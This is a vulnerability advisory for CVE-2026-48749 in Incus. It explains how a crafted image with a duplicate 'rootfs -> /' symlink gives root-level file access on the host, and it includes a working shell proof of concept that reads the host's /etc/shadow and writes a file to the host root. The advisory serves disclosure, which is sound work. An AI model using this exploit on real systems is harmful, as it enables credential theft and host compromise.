PT-2026-53010 · Go · Github.Com/Lxc/Incus/V7/Cmd/Incusd

Publicado

2026-06-26

·

Atualizado

2026-06-26

·

CVE-2026-48749

CVSS v3.1

9.9

Crítica

VetorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
  rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<< EOF >"${tmpdir}/img/metadata.yaml"
architecture: x86 64
creation date: 1
properties:
 description: PoC rootfs symlink host afrw
 EOF 

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink
' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Correção

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Enumeração de Fraquezas

CWE-73

Identificadores relacionados

CVE-2026-48749
GHSA-2Q3F-Q5PQ-G8WV

Produtos afetados

Github.Com/Lxc/Incus/V7/Cmd/Incusd